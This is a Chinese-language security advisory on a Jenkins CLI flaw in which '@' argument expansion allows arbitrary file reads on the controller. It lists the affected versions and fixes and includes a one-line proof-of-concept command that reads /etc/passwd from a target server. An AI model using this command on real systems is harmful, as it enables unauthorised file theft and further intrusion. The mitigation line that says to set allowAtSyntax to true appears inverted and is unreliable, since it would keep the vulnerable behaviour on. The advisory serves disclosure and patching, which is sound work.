一、软件背景
Jenkins是一个流行的开源持续集成(CI)和持续交付(CD)工具,它可以帮助团队自动化软件开发中的各种任务和流程,从而提高效率和质量。
二、漏洞简述
Jenkins CLI 是 Jenkins 内置的命令行页面。
Jenkins 受影响版本中使用 args4j 库解析CLI命令参数,该库默认将参数中 @ 字符后的文件路径替换为文件内容,攻击者可利用该特性使用 Jenkins 控制器进程的默认字符编码读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进制文件),并结合 Resource Root URL、Remember me cookie、存储型 XSS 或 CSRF 等在 Jenkins 控制器中执行任意代码。
Jenkins 2.442, LTS 2.426.3 版本通过禁用命令解析器读取 @ 字符后文件路径的特性修复此漏洞。
三、漏洞版本
org.jenkins-ci.main:jenkins-core@(-∞, 2.442)
jenkins@(-∞, 2.442)
jenkins lts@(-∞, 2.426.3)
jenkins@影响所有版本
四、漏洞分析
略
五、漏洞测试
此漏洞需要使用到jenkins-cli.jar。读者可以从任意Jenkins网页地址下载: http://jenkins:8080//jnlpJars/jenkins-cli.jar
根据社区公布的poc:
最终使用命令如下:
java -jar jenkins-cli.jar -s http://jenkins:8080/ connect-node "@/etc/passwd"
注意:jenkins web在没有权限的情况下,文件会读取不全面。
六、漏洞修复
将 org.jenkins-ci.main:jenkins-core 升级至 2.442 及以上版本
禁用Jenkins CLI:设置 Java 系统属性 hudson.cli.CLICommand.allowAtSyntax 为 true
将 jenkins 升级至 2.442 及以上版本
将组件 jenkins lts 升级至 2.426.3 及以上版本
版权归原作者 一苇sec 所有, 如有侵权,请联系我们删除。